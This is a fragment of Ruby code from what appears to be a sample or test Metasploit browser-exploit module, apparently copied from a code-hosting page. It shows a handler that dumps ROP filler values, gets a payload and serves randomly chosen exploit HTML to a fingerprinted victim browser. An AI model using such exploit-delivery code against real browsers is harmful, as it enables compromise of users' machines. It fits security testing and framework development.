|
||||
Java version: #{target_info[:java]}<br>
|
||||
Office version: #{target_info[:office]}
|
||||
|
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_debug("Target selected: #{get_target.name}")
|
||||
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
|
||||
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
|
||||
p = get_payload(cli, target_info)
|
||||
vprint_line(Rex::Text.to_hex_dump(p))
|
||||
print_status("Sending exploit HTML...")
|
||||
|
||||
# Randomly pick a template to test
|
||||
if [true, false].sample
|
||||
txt = "I can pass more args"
|
||||
send_exploit_html(cli, exploit_template1(target_info, txt))
|
||||
else
|
||||
send_exploit_html(cli, exploit_template2(target_info))
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
Example of raw target_info:
|
||||
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
|
||||
=end
|
Loading…
Reference in New Issue